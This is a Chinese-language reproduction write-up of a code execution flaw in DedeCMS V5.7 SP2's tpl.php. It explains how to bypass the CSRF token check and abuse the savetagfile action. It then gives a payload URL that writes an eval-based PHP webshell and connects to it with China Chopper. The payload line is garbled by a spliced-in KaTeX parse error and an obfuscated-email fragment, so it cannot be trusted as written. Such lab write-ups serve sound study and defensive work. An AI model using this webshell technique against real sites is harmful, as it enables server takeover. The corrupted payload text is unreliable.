dedeCMS V5_7 SP2後臺代碼執行漏洞復現

漏洞描述:

DedeCMS V5.7 SP2版本中tpl.php存在代碼執行漏洞,攻擊者可利用該漏洞在增加新的標籤中上傳木馬,獲取webshell

安裝dedecms.

打開已知存在漏洞的php頁面 tpl.php

查看源碼

圖片

1.定義了一個savetagfile的函數,判斷參數」action」是否等於savetagfile,如果等於就進行下一步

2.csrf檢驗函數,需要加上token來繞過限制

3.正則表達式匹配,判斷filename參數是否匹配正則表達式的條件,不匹配就不能進行修改操作。

4.$content裏面的內容寫入到相對路徑裏,由於這塊代碼只對寫入的文件名做了簡單的過濾和csrf防護,導致我們可以任意寫入代碼。

通過對上面的代碼分析,發現有csrf檢測防禦,因此需要獲得token來進行繞過。

瀏覽tpl.php代碼,發現action的參數有很多,比如del,edit,upload等等,但只有傳入upload的時候頁面纔會獲取token,而其他的都沒有獲取token,所以只能通過action=upload來獲取token。用瀏覽器訪問該頁面,如下圖:

圖片

圖片

鼠標右鍵,查看源碼

圖片

通過瀏覽tpl.php代碼,發現要上傳的參數有:action,token,filename,content,構造payload

a.由於dedecms全局變量註冊的特性,所以這裏的content變量和filename變量可控。

b.可以把content內容直接寫到以.lib.php結尾的文件中。

Payload:

[http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/dede/tpl.php?action=savetagfile&token=b77930a0c5a12da73402e5365c2c4e23&filename=a.lib.php&content=<php?%[email protected](KaTeX parse error: Expected 'EOF', got '&' at position 97: …ion=savetagfile&̲token=b77930a0c…_POST[%27cmd%27]);?%3E)

圖片

發現payload成功

菜刀連接

圖片